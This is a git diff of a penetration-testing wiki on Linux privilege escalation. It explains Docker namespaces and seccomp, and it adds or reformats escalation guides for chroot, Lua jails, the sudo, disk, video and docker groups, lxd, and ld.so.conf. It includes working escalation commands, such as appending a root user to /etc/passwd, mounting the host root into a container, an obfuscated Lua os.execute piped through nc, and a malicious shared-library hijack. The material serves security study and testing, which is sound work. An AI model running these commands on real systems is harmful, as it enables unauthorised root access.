b/linux-unix/privilege-escalation/docker-breakout/namespaces.md @@ -0,0 +1,200 @@ +# Namespaces + +To get the namespace of a container you can do: + +```bash +docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container +ps -ef | grep 1234 #Get info about the sleep process +ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) +``` + +To illustrate the five following namespaces, let’s create two Ubuntu containers: + +``` +docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash +docker run -ti --name ubuntu2 -v /usr:/ubuntu2 ubuntu bash +``` + +### **PID namespace** + +Let’s look at processes running in Container ubuntu1: + +``` +root@3a1bf12161c9:/# ps + PID TTY TIME CMD + 1 ? 00:00:00 bash + 15 ? 00:00:00 ps +``` + +Let’s look at processes running in Container ubuntu2: + +``` +root@8beb85abe6a5:/# ps + PID TTY TIME CMD + 1 ? 00:00:00 bash + 14 ? 00:00:00 ps +``` + +Let’s look at the 2 “bash” process in host machine: + +``` +$ ps -eaf|grep root | grep bash +root 5413 1697 0 05:54 pts/28 00:00:00 bash +root 5516 1697 0 05:54 pts/31 00:00:00 bash +``` + +bash process in Container1 and Container2 have the same PID 1 since they have their own process namespace. The same bash process shows up in host machine as a different pid. + +### **Mount namespace** + +Let’s look at the root directory content in Container ubuntu1: + +``` +root@3a1bf12161c9:/# ls / +bin dev home lib64 mnt proc run srv tmp usr +boot etc lib media opt root sbin sys ubuntu1 var +``` + +Let’s look at the root directory content in Container ubuntu2: + +``` +root@8beb85abe6a5:/# ls / +bin dev home lib64 mnt proc run srv tmp usr +boot etc lib media opt root sbin sys ubuntu2 var +``` + +As we can see above, each Container has its own filesystem and we can see “/usr” from host machine mounted as “/ubuntu1” in Container1 and as “/ubuntu2” in Container2. + +### **Network namespace** + +Let’s look at ifconfig output in Container ubuntu1: + +``` +root@3a1bf12161c9:/# ifconfig +eth0 Link encap:Ethernet HWaddr 02:42:ac:15:00:02 + inet addr:172.21.0.2 Bcast:0.0.0.0 Mask:255.255.0.0 + inet6 addr: fe80::42:acff:fe15:2/64 Scope:Link + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:36 errors:0 dropped:0 overruns:0 frame:0 + TX packets:8 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:0 + RX bytes:4940 (4.9 KB) TX bytes:648 (648.0 B) + +lo Link encap:Local Loopback + inet addr:127.0.0.1 Mask:255.0.0.0 + inet6 addr: ::1/128 Scope:Host + UP LOOPBACK RUNNING MTU:65536 Metric:1 + RX packets:0 errors:0 dropped:0 overruns:0 frame:0 + TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:0 + RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) +``` + +Let’s look at ifconfig output in Container ubuntu2: + +``` +root@8beb85abe6a5:/# ifconfig +eth0 Link encap:Ethernet HWaddr 02:42:ac:15:00:03 + inet addr:172.21.0.3 Bcast:0.0.0.0 Mask:255.255.0.0 + inet6 addr: fe80::42:acff:fe15:3/64 Scope:Link + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:28 errors:0 dropped:0 overruns:0 frame:0 + TX packets:8 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:0 + RX bytes:4292 (4.2 KB) TX bytes:648 (648.0 B) + +lo Link encap:Local Loopback + inet addr:127.0.0.1 Mask:255.0.0.0 + inet6 addr: ::1/128 Scope:Host + UP LOOPBACK RUNNING MTU:65536 Metric:1 + RX packets:0 errors:0 dropped:0 overruns:0 frame:0 + TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:0 + RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) +``` + +As we can see above, each Container has their own IP address. + +### **IPC Namespace** + +Let’s create shared memory in Container ubuntu1: + +``` +root@3a1bf12161c9:/# ipcmk -M 100 +Shared memory id: 0 +root@3a1bf12161c9:/# ipcs -m + +------ Shared Memory Segments -------- +key shmid owner perms bytes nattch status +0x2fba9021 0 root 644 100 0 +``` + +Let’s create shared memory in Container ubuntu2: + +``` +root@8beb85abe6a5:/# ipcmk -M 100 +Shared memory id: 0 +root@8beb85abe6a5:/# ipcs -m + +------ Shared Memory Segments -------- +key shmid owner perms bytes nattch status +0x1f91e62c 0 root 644 100 0 +``` + +As we can see above, each Container has its own IPC namespace and shared memory created in Container 1 is not visible in Container 2. + +### **UTS namespace** + +Let’s look at hostname of Container ubuntu1: + +``` +root@3a1bf12161c9:/# hostname +3a1bf12161c9 +``` + +Let’s look at hostname of Container ubuntu2: + +``` +root@8beb85abe6a5:/# hostname +8beb85abe6a5 +``` + +As we can see above, each Container has its own hostname and domainname. + +### User namespace + +User namespaces are available from Linux kernel versions > 3.8. With User namespace, **userid and groupid in a namespace is different from host machine’s userid and groupid** for the same user and group. When Docker Containers use User namespace, each **container gets their own userid and groupid**. For example, **root** user **inside** **Container** is **not** root **inside** **host** **machine**. This provides greater security. In case the Container gets compromised and the hacker gets root access inside Container, the hacker still cannot break inside the host machine since the root user inside the Container is not root inside the host machine. Docker introduced support for user namespace in version 1.10.\ +To use user namespace, Docker daemon needs to be started with `–userns-remap=default`(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`)\ +Following output shows Docker daemon running with user namespace turned on: + +``` +root 8207 1 0 20:03 ? 00:00:09 /usr/bin/docker daemon --userns-remap=default +``` + +Let’s start a ubuntu Container and look at its UID and GID: + +``` +root@3a1bf12161c9:/# id +uid=0(root) gid=0(root) groups=0(root) +``` + +To find the UID associated with the root UID inside Container, we need to first find the PID in host machine for the Container process and get the associated UID.\ +Following output shows the “bash” PID in host machine for the Container: + +``` +231072 8955 8207 0 21:23 pts/14 00:00:00 bash +``` + +Let’s look at the associated UID for PID 8955: + +``` +smakam14@jungle1:/usr$ cat /proc/8955/uid_map + 0 231072 65536 +``` + +As we can see above, userid 0(root) in container 1 is mapped to userid 231072 in host machine.\ +In the current Docker user namespace implementation, UID and GID mapping happens at Docker daemon level. There is work ongoing to allow the mappings to be done at Container level so that multi-tenant support is possible. + +## References + +* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) diff --git a/linux-unix/privilege-escalation/docker-breakout/seccomp.md b/linux-unix/privilege-escalation/docker-breakout/seccomp.md new file mode 100644 index 00000000..8b88f4ea --- /dev/null +++ b/linux-unix/privilege-escalation/docker-breakout/seccomp.md @@ -0,0 +1,164 @@ +# Seccomp + +## Basic Information + +**Seccomp **or Secure Computing mode, in summary, is a feature of Linux kernel which can act as **syscall filter**.\ +Seccomp has 2 modes. + +**seccomp** (short for **secure computing mode**) is a computer security facility in the **Linux** **kernel**. seccomp allows a process to make a one-way transition into a "secure" state where **it cannot make any system calls except** `exit()`, `sigreturn()`, `read()` and `write()` to **already-open** file descriptors. Should it attempt any other system calls, the **kernel** will **terminate** the **process** with SIGKILL or SIGSYS. In this sense, it does not virtualize the system's resources but isolates the process from them entirely. + +seccomp mode is **enabled via the `prctl(2)` system call** using the `PR_SET_SECCOMP` argument, or (since Linux kernel 3.17) via the `seccomp(2)` system call. seccomp mode used to be enabled by writing to a file, `/proc/self/seccomp`, but this method was removed in favor of `prctl()`. In some kernel versions, seccomp disables the `RDTSC` x86 instruction, which returns the number of elapsed processor cycles since power-on, used for high-precision timing. + +**seccomp-bpf** is an extension to seccomp that allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. It is used by OpenSSH and vsftpd as well as the Google Chrome/Chromium web browsers on Chrome OS and Linux. (In this regard seccomp-bpf achieves similar functionality, but with more flexibility and higher performance, to the older systrace—which seems to be no longer supported for Linux.) + +### **Original/Strict Mode** + +In this mode** **Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL + +{% code title="seccomp_strict.c" %} +```c +#include +#include +#include +#include +#include +#include + +//From https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/ +//gcc seccomp_strict.c -o seccomp_strict + +int main(int argc, char **argv) +{ + int output = open("output.txt", O_WRONLY); + const char *val = "test"; + + //enables strict seccomp mode + printf("Calling prctl() to set seccomp strict mode...\n"); + prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); + + //This is allowed as the file was already opened + printf("Writing to an already open file...\n"); + write(output, val, strlen(val)+1); + + //This isn't allowed + printf("Trying to open file for reading...\n"); + int input = open("output.txt", O_RDONLY); + + printf("You will not see this message--the process will be killed first\n"); +} +``` +{% endcode %} + +### Seccomp-bpf + +This mode allows f**iltering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. + +{% code title="seccomp_bpf.c" %} +```c +#include +#include +#include +#include + +//https://security.stackexchange.com/questions/168452/how-is-sandboxing-implemented/175373 +//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp + +void main(void) { + /* initialize the libseccomp context */ + scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); + + /* allow exiting */ + printf("Adding rule : Allow exit_group\n"); + seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); + + /* allow getting the current pid */ + //printf("Adding rule : Allow getpid\n"); + //seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); + + printf("Adding rule : Deny getpid\n"); + seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); + /* allow changing data segment size, as required by glibc */ + printf("Adding rule : Allow brk\n"); + seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); + + /* allow writing up to 512 bytes to fd 1 */ + printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); + seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, + SCMP_A0(SCMP_CMP_EQ, 1), + SCMP_A2(SCMP_CMP_LE, 512)); + + /* if writing to any other fd, return -EBADF */ + printf("Adding rule : Deny write to any FD except 1 \n"); + seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, + SCMP_A0(SCMP_CMP_NE, 1)); + + /* load and enforce the filters */ + printf("Load rules and enforce \n"); + seccomp_load(ctx); + seccomp_release(ctx); + //Get the getpid is denied, a weird number will be returned like + //this process is -9 + printf("this process is %d\n", getpid()); +} +``` +{% endcode %} + +## Seccomp in Docker + +**Seccomp-bpf** is supported by **Docker **to restrict the **syscalls **from the containers effectively decreasing the surface area. You can find the **syscalls blocked **by **default **in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile **can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ +You can run a docker container with a **different seccomp** policy with: + +```bash +docker run --rm \ + -it \ + --security-opt seccomp=/path/to/seccomp/profile.json \ + hello-world +``` + +If you want for example to **forbid **a container of executing some **syscall **like` uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\ +If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\ +In the following example the **syscalls **of `uname` are discovered: + +```bash +docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname +``` + +{% hint style="info" %} +If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs +{% endhint %} + +### Example Seccomp policy + +To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below. + +```json +{ + "defaultAction": "SCMP_ACT_ALLOW", + "syscalls": [ + { + "name": "chmod", + "action": "SCMP_ACT_ERRNO" + } + ] +} +``` + +In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\ +Following output shows the “chmod” call returning error because its disabled in the seccomp profile + +```bash +$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts +chmod: /etc/hosts: Operation not permitted +``` + +Following output shows the “docker inspect” displaying the profile: + +```json + "SecurityOpt": [ + "seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" + ], +``` + +### Deactivate it in Docker + +Launch a container with the flag: **`--security-opt seccomp=unconfined`** diff --git a/linux-unix/privilege-escalation/escaping-from-limited-bash.md b/linux-unix/privilege-escalation/escaping-from-limited-bash.md index 7296c059..d39dd5f0 100644 --- a/linux-unix/privilege-escalation/escaping-from-limited-bash.md +++ b/linux-unix/privilege-escalation/escaping-from-limited-bash.md @@ -2,15 +2,15 @@ ## **GTFOBins** -**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io/) **if you can execute any binary with "Shell" property** +**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property** ## Chroot limitation -From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** \(**root**\) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**. +From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is** not intended to defend** against intentional tampering by **privileged **(**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**. -Therefore, if you are **root** inside a chroot you **can escape** creating **another chroot**. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it: +Therefore, if you are **root **inside a chroot you **can escape **creating **another chroot**. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it: -{% code title="break\_chroot.c" %} +{% code title="break_chroot.c" %} ```c #include #include @@ -125,24 +125,28 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ### Other tricks -[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/) -[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**]%28https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells) -[https://gtfobins.github.io](https://gtfobins.github.io**]%28https://gtfobins.github.io) +[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ +[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ +[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\ **It could also be interesting the page:** -{% page-ref page="../useful-linux-commands/bypass-bash-restrictions.md" %} +{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %} +[bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md) +{% endcontent-ref %} ## Python Jails Tricks about escaping from python jails in the following page: -{% page-ref page="../../misc/basic-python/bypass-python-sandboxes/" %} +{% content-ref url="../../misc/basic-python/bypass-python-sandboxes/" %} +[bypass-python-sandboxes](../../misc/basic-python/bypass-python-sandboxes/) +{% endcontent-ref %} ## Lua Jails -In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) +In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) -**Eval** with command execution**:** +**Eval **with command execution**:** ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() @@ -174,11 +178,9 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` -**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell \(and hopefully unlimited\) calling: +**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling: ```bash debug.debug() ``` - - diff --git a/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md b/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md index 1fbe86aa..f25450ff 100644 --- a/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md @@ -4,7 +4,7 @@ ### **PE - Method 1** -**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines: +**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines: ```bash # Allow members of group sudo to execute any command @@ -16,9 +16,9 @@ This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. -If this is the case, to **become root you can just execute**: +If this is the case, to** become root you can just execute**: -```text +``` sudo su ``` @@ -30,22 +30,22 @@ Find all suid binaries and check if there is the binary **Pkexec**: find / -perm -4000 2>/dev/null ``` -If you find that the binar**y pkexec is a SUID** binary and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`. +If you find that the binar**y pkexec is a SUID** binary and you belong to **sudo **or **admin**, you could probably execute binaries as sudo using `pkexec`.\ This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear. +There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo **and** admin** appear. -To **become root you can execute**: +To** become root you can execute**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` -If you try to execute **pkexec** and you get this **error**: +If you try to execute **pkexec **and you get this **error**: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie @@ -53,7 +53,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed Error executing command as another user: Not authorized ``` -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: +**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: {% code title="session1" %} ```bash @@ -74,23 +74,23 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 **Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: -```text +``` %wheel ALL=(ALL:ALL) ALL ``` This means that **any user that belongs to the group wheel can execute anything as sudo**. -If this is the case, to **become root you can just execute**: +If this is the case, to** become root you can just execute**: -```text +``` sudo su ``` ## Shadow Group -Users from the **group shadow** can **read** the **/etc/shadow** file: +Users from the **group shadow** can **read **the **/etc/shadow** file: -```text +``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` @@ -98,7 +98,7 @@ So, read the file and try to **crack some hashes**. ## Disk Group - This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. + This privilege is almost** equivalent to root access **as you can access all the data inside of the machine. Files:`/dev/sd[a-z][1-9]` @@ -118,7 +118,7 @@ debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` -However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error. +However, if you try to** write files owned by root **(like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. ## Video Group @@ -130,26 +130,26 @@ yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. +The **tty1 **means that the user **yossi is logged physically** to a terminal on the machine. -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` +The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to** grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**: +To **open **the **raw image** you can use **GIMP**, select the **`screen.raw` **file and select as file type **Raw image data**: -![](../../../.gitbook/assets/image%20%28208%29.png) +![](<../../../.gitbook/assets/image (287).png>) -Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\): +Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen): -![](../../../.gitbook/assets/image%20%28295%29.png) +![](<../../../.gitbook/assets/image (288).png>) ## Root Group -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... +It looks like by default** members of root group** could have access to **modify **some **service **configuration files or some **libraries **files or** other interesting things** that could be used to escalate privileges... **Check which files root members can modify**: @@ -173,9 +173,11 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` -Finally, if you don't like any of the suggestions of before, or they aren't working for some reason \(docker api firewall?\) you could always try to **run a privileged container and escape from it** as explained here: +Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to** run a privileged container and escape from it** as explained here: -{% page-ref page="../docker-breakout.md" %} +{% content-ref url="../docker-breakout/" %} +[docker-breakout](../docker-breakout/) +{% endcontent-ref %} If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.** @@ -185,15 +187,16 @@ If you have write permissions over the docker socket read [**this post about how ## lxc/lxd Group -{% page-ref page="./" %} +{% content-ref url="./" %} +[.](./) +{% endcontent-ref %} ## Adm Group -Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_. +Usually **members **of the group **`adm`** have permissions to **read log **files located inside _/var/log/_.\ Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. ## Auth group -Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used. +Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\ These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) - diff --git a/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index 81f261d8..c03fe43f 100644 --- a/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -6,7 +6,7 @@ If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root ### Method 1 -You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(follow the instructions of the github\): +You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): ```bash sudo su @@ -45,8 +45,8 @@ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=t ``` {% hint style="danger" %} -If you find this error _**Error: No storage pool found. Please create a new storage pool**_ -Run **`lxc init`** and **repeat** the previous chunk of commands +If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ +Run **`lxc init`** and **repeat **the previous chunk of commands {% endhint %} Execute the container: @@ -85,7 +85,7 @@ lxc start mycontainer lxc exec mycontainer /bin/sh ``` -Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd_root) +Alternatively [https://github.com/initstring/lxd_root](https://github.com/initstring/lxd_root) ## With internet @@ -101,5 +101,4 @@ lxc exec test bash ## Other Refs -{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %} - +{% embed url="https://reboare.github.io/lxd/lxd-escape.html" %} diff --git a/linux-unix/privilege-escalation/ld.so.conf-example.md b/linux-unix/privilege-escalation/ld.so.conf-example.md index 5371fe25..8a8d45a3 100644 --- a/linux-unix/privilege-escalation/ld.so.conf-example.md +++ b/linux-unix/privilege-escalation/ld.so.conf-example.md @@ -38,16 +38,16 @@ void say_hi() {% endtab %} {% endtabs %} -1. **Create** those files in your machine in the same folder -2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` -3. **Copy** _****libcustom.so_ to _/usr/lib_: `sudo cp libcustom.so /usr/lib` \(root privs\) -4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` +1. **Create **those files in your machine in the same folder +2. **Compile **the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` +3. **Copy**_** **libcustom.so _to_ /usr/lib_: `sudo cp libcustom.so /usr/lib` (root privs) +4. **Compile **the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` ### Check the environment -Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary. +Check that _libcustom.so_ is being **loaded **from _/usr/lib_ and that you can **execute **the binary. -```text +``` $ ldd sharedvuln linux-vdso.so.1 => (0x00007ffc9a1f7000) libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) @@ -61,14 +61,14 @@ Hi ## Exploit -In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_: +In this scenario we are going to suppose that **someone has created a vulnerable entry **inside a file in _/etc/ld.so.conf/_: ```bash sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf ``` -The vulnerable folder is _/home/ubuntu/lib_ \(where we have writable access\). -**Downloadand compile** the following code inside that path: +The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ +**Downloadand compile **the following code inside that path: ```c //gcc -shared -o libcustom.so -fPIC libcustom.c @@ -85,9 +85,9 @@ void say_hi(){ } ``` -Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** \(_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_\). +Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot **or for the root user to execute **`ldconfig `**(_in case you can execute this binary as **sudo **or it has the **suid bit **you will be able to execute it yourself_). -Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from: +Once this has happened **recheck **where is the `sharevuln` executable loading the `libcustom.so` library from: ```c $ldd sharedvuln @@ -113,13 +113,13 @@ Note that in this example we haven't escalated privileges, but modifying the com ### Other misconfigurations - Same vuln -In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**. -But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. +In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\ +But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions **in some **config file **inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. ## Exploit 2 -**Suppose you have sudo privileges over `ldconfig`**. -You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders. +**Suppose you have sudo privileges over `ldconfig`**.\ +You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\ So, lets create the files and folders needed to load "/tmp": ```bash @@ -128,7 +128,7 @@ echo "include /tmp/conf/*" > fake.ld.so.conf echo "/tmp" > conf/evil.conf ``` -Now, as indicated in the **previous exploit**, **create the malicious library inside** _**/tmp**_. +Now, as indicated in the **previous exploit**,** create the malicious library inside **_**/tmp**_.\ And finally, lets load the path and check where is the binary loading the library from: ```bash @@ -152,4 +152,3 @@ I **didn't find** a reliable way to exploit this vuln if `ldconfig` is configure * [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html) * [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2) * Dab machine in HTB - diff --git a/linux-unix/privilege-escalation/linux-capabilities.md b/linux-unix/privilege-escalation/linux-capabilities.md index d5386a09..fb89eb74 100644 --- 